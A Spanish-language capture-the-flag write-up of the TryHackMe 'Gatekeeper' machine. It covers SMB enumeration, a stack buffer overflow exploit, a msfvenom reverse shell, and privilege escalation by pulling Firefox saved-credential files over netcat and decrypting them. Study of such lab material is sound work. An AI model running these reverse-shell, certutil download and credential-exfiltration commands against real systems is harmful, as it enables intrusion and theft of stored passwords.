Gatekeeper

Resolución de la Máquina Gatekeeper de TryHackMe de dificultad media abordando contenido de Buffer overflow.

¡Saludos a tod@s!,

En este artículo mostraré la resolución de la máquina Gatekeeper.

Enumeración

Comprobamos que la máquina esté activa.

ping -c1 10.10.20.222             
PING 10.10.20.222 (10.10.20.222) 56(84) bytes of data.
64 bytes from 10.10.20.222: icmp_seq=1 ttl=127 time=45.4 ms

--- 10.10.20.222 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 45.424/45.424/45.424/0.000 ms

Relizamos un escaneo de nmap para ver lor servicios y puertos expuestos de la máquina, en este caso debemos fijarnos en el puerto 445.

sudo nmap -sS --min-rate 5000 -n -v -p- 10.10.20.222 
[sudo] contraseña para shadoow: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-12 12:10 CEST
Initiating Ping Scan at 12:10
Scanning 10.10.20.222 [4 ports]
Completed Ping Scan at 12:10, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:10
Scanning 10.10.20.222 [65535 ports]
Discovered open port 445/tcp on 10.10.20.222
Discovered open port 135/tcp on 10.10.20.222
Discovered open port 3389/tcp on 10.10.20.222
Discovered open port 139/tcp on 10.10.20.222
Discovered open port 49153/tcp on 10.10.20.222
Discovered open port 49154/tcp on 10.10.20.222
Discovered open port 49161/tcp on 10.10.20.222
Discovered open port 49167/tcp on 10.10.20.222
Discovered open port 31337/tcp on 10.10.20.222
Discovered open port 49155/tcp on 10.10.20.222
Discovered open port 49152/tcp on 10.10.20.222
Completed SYN Stealth Scan at 12:10, 13.95s elapsed (65535 total ports)
Nmap scan report for 10.10.20.222
Host is up (0.043s latency).
Not shown: 65524 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
31337/tcp open  Elite
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49161/tcp open  unknown
49167/tcp open  unknown

Con SMBMap podemos descargarnos un ejecutable.

smbmap -H 10.10.20.222 -u guest -r Users/Share
[+] IP: 10.10.20.222:445        Name: 10.10.20.222                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        Users                                                   READ ONLY
        .\UsersShare\*
        dr--r--r--                0 Fri May 15 03:58:07 2020    .
        dr--r--r--                0 Fri May 15 03:58:07 2020    ..
        fr--r--r--            13312 Fri May 15 03:58:07 2020    gatekeeper.exe

~ ❯ smbmap -H 10.10.20.222 -u guest --download Users/Share/gatekeeper.exe
[+] Starting download: Users\Share\gatekeeper.exe (13312 bytes)
[+] File output to: /home/shadoow/10.10.20.222-Users_Share_gatekeeper.exe

Buffer Overflow

Testeamos con python para comprobar si se produce un desbordamiento.

print "A" * 300

Creamos un patrón cíclico con msfpattern y lo aplicamos a la variable “payload”.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

Con mona encontramos el offset exacto del EIP.

Modificando el exploit, en la variable offset = 146 y en la variable retn = BBBB , podemos ver que tenemos el control def flujo sobre esa instrucción.

import socket

ip = "10.0.3.5"
port = 31337

offset = 146
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = ""
postfix = ""

Con !mona generamos un bytearray para encontrar los badchars.

Con python los generamos y los ponemos en la variable “payload”.

Script Badchars:

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

Encontramos los bad chars, en este caso son \x00 y \x0a.

Buscamos los puntos de salto para ello podemos usar la siguiente sintaxis con mona.

!mona jmp -r esp -cpb  "\x00\xa0"
0x080414c3 -> \xc3\x14\x04\x08

Generamos una reverse shell con msfvenom, y lo agregamos a la variable “payload”.

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.37.230 LPORT=1234 -b "\x00\x0a" -f python EXITFUNC=thread -v payload

nc -lvnp 1234

Escalada de privilegios

Explorando la máquina y haciendo un poco de investigación vemos que “ljfn812a.default-release” es un directorio que puede guardar credenciales guardadas en el navegador.

C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release

Para poder transferirnos los archivos nos podemos descargar nc.exe y nos lo pasamos a la máquina Windows con certutil.

https://eternallybored.org/misc/netcat/

certutil -f -urlcache http://<IP:Port>/recurso.exe <recurso_nombre.exe>

En windows:

nc.exe -nv 10.11.37.230 12345 < key4.db
nc.exe -nv 10.11.37.230 12345 < logins.json

En nuestro kali:

nc -lvnp 12345 > key4.db
nc -lvnp 12345 > logins.json

Nos descargamos firepwd.py, es una herramienta que nos permite extraer las credenciales guardadas de un navegador con los archivos transferidos anteriormente.

Nos pasamos los archivos descargados anteriormente a la carpeta “firepwd”.

https://github.com/lclevy/firepwd
instalamos lo requirements
pip install -r requirements.txt
python3 firepwd.py

Lo ejecutamos:

Accedemos por RDP y obtenemos la flag.

xfreerdp /u:mayor /p:'***************' /cert:ignore /v:10.10.20.222

Última actualización